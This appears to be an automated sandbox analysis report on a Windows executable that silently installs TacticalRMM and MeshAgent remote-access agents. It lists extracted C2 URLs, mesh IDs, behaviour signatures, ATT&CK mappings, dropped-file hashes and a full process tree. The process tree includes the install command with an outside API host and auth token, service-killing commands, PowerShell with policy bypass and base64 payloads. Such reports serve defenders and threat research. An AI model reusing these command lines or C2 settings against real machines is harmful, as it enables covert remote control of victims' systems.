Overview

overview

10

Static

static

3

2026-10-24...e_.exe

windows10-2004-x64

10

2026-10-24...e_.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/10/2026, 01:51

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-10-24_f325872e198d3c644e25243cac4fdc1d_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
  • Size 5.0MB
  • Sample261025-b9762agb59
  • SHA256 623d57aa5d21af8db3a63318cf1b3e88d704d6883a13132b7f9e36362465c6e9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
backdoortacticalrmmdefense_evasiondiscoveryexecutionmeshagentsupershellinstallerpersistenceratspywaretrojan

Malware Config

Extracted

Family

  • meshagent

Version

  • 2

Botnet

  • TacticalRMM

C2

  • http://mesh.netmaking.it:443/agent.ashx

Attributes
  • mesh_id

    0xC9EAEFF081B8281D96A19E5D8293BAFC8FF5D8C3B590A8D7311DEDC2BE642EC7FE861E80A670FE05C30446CD948233D2

  • server_id

    59A97532CDAFF91C682D341D1516F0DFA588E39913D8CF232744D55FC5C510FF44A9D6F1FFA2B7BFAC3711DC5A229C63

  • wss

    wss://mesh.netmaking.it:443/agent.ashx

Signatures

  • Family: MeshAgent

    MeshAgent is an open source remote access trojan written in C++.

    rattrojanbackdoormeshagent
  • Family: Supershell

    Supershell is a cross-platfrom reverse shell written in Golang.

    backdoorsupershell
  • Detects MeshAgent payload 1 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 2 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Executes dropped EXE 27 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Using powershell.exe command.

    execution
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 35 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

    installer
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-24_f325872e198d3c644e25243cac4fdc1d_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-24_f325872e198d3c644e25243cac4fdc1d_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:3832
    • C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe
      C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4228
      • C:\Users\Admin\AppData\Local\Temp\is-81K14.tmp\tacticalagent-v2.11.0-windows-amd64.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-81K14.tmp\tacticalagent-v2.11.0-windows-amd64.tmp" /SL5="$B0084,4216799,861184,C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3304
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:3156
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:5728
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5064
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:5908
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:268
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM tacticalrmm.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2704
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c tacticalrmm.exe -m installsvc
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2088
          • C:\Program Files\TacticalAgent\tacticalrmm.exe
            tacticalrmm.exe -m installsvc
            5⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4868
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net start tacticalrmm
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5992
          • C:\Windows\SysWOW64\net.exe
            net start tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5480
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:4392
    • C:\Program Files\TacticalAgent\tacticalrmm.exe
      "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://api.netmaking.it --client-id 27 --site-id 65 --agent-type workstation --auth acd4e8020525e510f6ddb9c76576ecb5f93a35f00e7bd164ee244dfb03af2492
      2⤵
      • Executes dropped EXE
      • Modifies trusted root certificate store through registry
      • Reads the TCP/IP host and domain name from the registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2776
      • C:\Program Files\TacticalAgent\meshagent.exe
        "C:\Program Files\TacticalAgent\meshagent.exe" -fullinstall
        3⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        PID:2400
      • C:\Program Files\Mesh Agent\MeshAgent.exe
        "C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid
        3⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        PID:788
  • C:\Program Files\Mesh Agent\MeshAgent.exe
    "C:\Program Files\Mesh Agent\MeshAgent.exe"
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    PID:2972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -noprofile -nologo -command -
      2⤵
      • Drops file in Windows directory
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2832
    • C:\Program Files\Mesh Agent\MeshAgent.exe
      MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      PID:2356
  • C:\Program Files\Mesh Agent\MeshAgent.exe
    "C:\Program Files\Mesh Agent\MeshAgent.exe"
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    PID:5328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -noprofile -nologo -command -
      2⤵
      • Drops file in Windows directory
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5572
    • C:\Program Files\Mesh Agent\MeshAgent.exe
      MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      PID:4580
  • C:\Program Files\TacticalAgent\tacticalrmm.exe
    "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m svc
    1⤵
    • Executes dropped EXE
    • Drops file in Program Files directory
    • Reads the TCP/IP host and domain name from the registry
    • Modifies data under HKEY_USERS
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:368
    • C:\Program Files\TacticalAgent\tacticalrmm.exe
      "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m checkrunner
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5184
    • C:\Program Files\Mesh Agent\MeshAgent.exe
      "C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      PID:4544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\2944749790.ps1
      2⤵
      • Badlisted process makes network request
      • Drops file in Windows directory
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1440
      • C:\Windows\System32\setx.exe
        "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134373667850409695
        3⤵
          PID:4148
        • C:\Windows\System32\setx.exe
          "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134373667853383192
          3⤵
            PID:2204
          • C:\Windows\System32\setx.exe
            "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134373667854704469
            3⤵
              PID:4340
            • C:\Windows\System32\setx.exe
              "C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate 134373667869781867
              3⤵
                PID:4416
              • C:\ProgramData\chocolatey\choco.exe
                "C:\ProgramData\chocolatey\choco.exe" -v
                3⤵
                • Executes dropped EXE
                • Reads the TCP/IP host and domain name from the registry
                PID:4552
          • C:\Program Files\Mesh Agent\MeshAgent.exe
            "C:\Program Files\Mesh Agent\MeshAgent.exe"
            1⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Reads the TCP/IP host and domain name from the registry
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:5132
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -noprofile -nologo -command -
              2⤵
              • Drops file in Windows directory
              • Command and Scripting Interpreter: PowerShell
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5012
            • C:\Program Files\Mesh Agent\MeshAgent.exe
              MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
              2⤵
              • Executes dropped EXE
              PID:3424
          • C:\Program Files\Mesh Agent\MeshAgent.exe
            "C:\Program Files\Mesh Agent\MeshAgent.exe"
            1⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Reads the TCP/IP host and domain name from the registry
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3128
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -noprofile -nologo -command -
              2⤵
              • Drops file in Windows directory
              • Command and Scripting Interpreter: PowerShell
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5508
            • C:\Program Files\Mesh Agent\MeshAgent.exe
              MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
              2⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              PID:5964
          • C:\Program Files\Mesh Agent\MeshAgent.exe
            "C:\Program Files\Mesh Agent\MeshAgent.exe"
            1⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Reads the TCP/IP host and domain name from the registry
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3768
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -noprofile -nologo -command -
              2⤵
              • Drops file in Windows directory
              • Command and Scripting Interpreter: PowerShell
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5908
            • C:\Program Files\Mesh Agent\MeshAgent.exe
              MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
              2⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              PID:2964
          • C:\Program Files\Mesh Agent\MeshAgent.exe
            "C:\Program Files\Mesh Agent\MeshAgent.exe"
            1⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of WriteProcessMemory
            PID:4516
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -noprofile -nologo -command -
              2⤵
              • Drops file in Windows directory
              • Command and Scripting Interpreter: PowerShell
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2052
            • C:\Program Files\Mesh Agent\MeshAgent.exe
              MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
              2⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              PID:2452
          • C:\Program Files\Mesh Agent\MeshAgent.exe
            "C:\Program Files\Mesh Agent\MeshAgent.exe"
            1⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Reads the TCP/IP host and domain name from the registry
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1952
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -noprofile -nologo -command -
              2⤵
              • Drops file in Windows directory
              • Command and Scripting Interpreter: PowerShell
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5412
            • C:\Program Files\Mesh Agent\MeshAgent.exe
              MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
              2⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              PID:4492
          • C:\Program Files\Mesh Agent\MeshAgent.exe
            "C:\Program Files\Mesh Agent\MeshAgent.exe"
            1⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of WriteProcessMemory
            PID:920
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -noprofile -nologo -command -
              2⤵
              • Drops file in Windows directory
              • Command and Scripting Interpreter: PowerShell
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3412
            • C:\Program Files\Mesh Agent\MeshAgent.exe
              MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
              2⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              PID:3968
          • C:\Program Files\Mesh Agent\MeshAgent.exe
            "C:\Program Files\Mesh Agent\MeshAgent.exe"
            1⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Reads the TCP/IP host and domain name from the registry
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:5836
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -noprofile -nologo -command -
              2⤵
              • Drops file in Windows directory
              • Command and Scripting Interpreter: PowerShell
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5000

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                2
                T1059

                PowerShell

                1
                T1059.001

                Windows Command Shell

                1
                T1059.003

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Create or Modify System Process

                1
                T1543

                Windows Service

                1
                T1543.003

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Create or Modify System Process

                1
                T1543

                Windows Service

                1
                T1543.003

                Defense Evasion

                Modify Registry

                2
                T1112

                Subvert Trust Controls

                2
                T1553

                Install Root Certificate

                2
                T1553.004

                Credential Access

                Discovery

                Query Registry

                1
                T1012

                Remote System Discovery

                1
                T1018

                System Location Discovery

                1
                T1614

                System Language Discovery

                1
                T1614.001

                System Network Configuration Discovery

                3
                T1016

                Internet Connection Discovery

                2
                T1016.001

                Lateral Movement

                Collection

                Command and Control

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                MeshAgent.db
                • Path C:\Program Files\Mesh Agent\MeshAgent.db
                • Size 39KB
                • SHA256 6fc5a69b25cea0556e3f70721b83605514cb535579bb81fc8e8022262c9b2f2c
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                MeshAgent.db
                • Path C:\Program Files\Mesh Agent\MeshAgent.db
                • Size 199KB
                • SHA256 4bc65b0b8ead35ca27421e2a8f3cf52b5a58efae9698b007f6084024f13c7fb6
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                MeshAgent.db
                • Path C:\Program Files\Mesh Agent\MeshAgent.db
                • Size 199KB
                • SHA256 05b4aff9968a72fc5ab4b27a12ea192309674a9519fbc2efb73571098f3f6241
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                MeshAgent.log
                • Path C:\Program Files\Mesh Agent\MeshAgent.log
                • Size 724B
                • SHA256 b74005e55b2a5c0cd2ee8b3dcbb805b8ecd44dd683686c1ce22ee86f58919866
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                MeshAgent.log
                • Path C:\Program Files\Mesh Agent\MeshAgent.log
                • Size 905B
                • SHA256 f0b5478bf979a0ad4dcb1d9585f3101c9eb65ee3596cf056775b94045dd5f1a4
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                MeshAgent.log
                • Path C:\Program Files\Mesh Agent\MeshAgent.log
                • Size 1KB
                • SHA256 cc88125b0e156f1b9abed3aa514370533d3d50b8597f382e7e283465cada9fb0
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                MeshAgent.log
                • Path C:\Program Files\Mesh Agent\MeshAgent.log
                • Size 1KB
                • SHA256 1bf9dad967a37a2255011120c6fd346b507e20783971b26303dab8736581cd96
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                MeshAgent.log
                • Path C:\Program Files\Mesh Agent\MeshAgent.log
                • Size 1KB
                • SHA256 cc48a3d0ec069da9bc79b1fccdd703cd43be72af57e6ce47c7957029e6204fea
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                MeshAgent.log
                • Path C:\Program Files\Mesh Agent\MeshAgent.log
                • Size 362B
                • SHA256 188e6f8df9a6586fc577cf31b8d6670928afcaa4467fb0ebc00215c88d4fc291
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                MeshAgent.log
                • Path C:\Program Files\Mesh Agent\MeshAgent.log
                • Size 543B
                • SHA256 095cf7be5a4fdb3a60915d08eeb3a02c2863ed46df263e76aacc1d9f209ea10e
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                MeshAgent.msh
                • Path C:\Program Files\Mesh Agent\MeshAgent.msh
                • Size 35KB
                • SHA256 8976bd9d5108331912b4bb8393612f90f00c16ee9c3450dcd7f3381526b87948
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                agent.log
                • Path C:\Program Files\TacticalAgent\agent.log
                • Size 67B
                • SHA256 e1a1801e1524edb5dd0bb186bd101d8e8d7fdc1179daeb734ac06d8447eac35f
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                meshagent.exe
                • Path C:\Program Files\TacticalAgent\meshagent.exe
                • Size 3.3MB
                • SHA256 17ef34b19555825fa89613e578c9327c709a601b5154448f4645a58aec0c541e
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                INSTALLER
                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\charset_normalizer-3.4.7.dist-info\INSTALLER
                • Size 4B
                • SHA256 ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508
                • MD5 SHA1 SHA512
                Submit Download

                __init__.py
                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\cryptography\hazmat\primitives\__init__.py
                • Size 180B
                • SHA256 b3da0a090db2705757a0445d4b58a669fb9e4a406c2fd92f6f27e085a6ae67d6
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                LICENSE.APACHE
                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip-26.1.1.dist-info\licenses\src\pip\_vendor\packaging\LICENSE.APACHE
                • Size 9KB
                • SHA256 0d542e0c8804e39aa7f37eb00da5a762149dc682d7829451287e11b938e94594
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                LICENSE
                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip-26.1.1.dist-info\licenses\src\pip\_vendor\tomli_w\LICENSE
                • Size 1KB
                • SHA256 b80816b0d530b8accb4c2211783790984a6e3b61922c2b5ee92f3372ab2742fe
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                __init__.py
                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pyasn1\codec\native\__init__.py
                • Size 59B
                • SHA256 1040e52584b5ef6107dfd19489d37ff056e435c598f4e555f1edf4015e7ca67d
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                WHEEL
                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools-82.0.1.dist-info\WHEEL
                • Size 91B
                • SHA256 69e6228a0d35958183cc1812f07c565ce837b95eb51bd8a33acba9fa4f68d6c9
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                INSTALLER
                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\jaraco.text-4.0.0.dist-info\INSTALLER
                • Size 2B
                • SHA256 e6184ce10e266134fdcfa401e8f1a95005bcd4f18d16b62b757323e2833fe9a9
                • MD5 SHA1 SHA512
                Submit Download

                LICENSE
                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\jaraco.text-4.0.0.dist-info\LICENSE
                • Size 1023B
                • SHA256 86da0f01aeae46348a3c3d465195dc1ceccde79f79e87769a64b8da04b2a4741
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                WHEEL
                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\more_itertools-10.8.0.dist-info\WHEEL
                • Size 82B
                • SHA256 1b68144734c4b66791f27add5d425f3620775585718a03d0f9b110ba3a4d88db
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                LICENSE
                • Path C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\packaging-26.0.dist-info\licenses\LICENSE
                • Size 197B
                • SHA256 cad1ef5bd340d73e074ba614d26f7deaca5c7940c3d8c34852e65c4909686c48
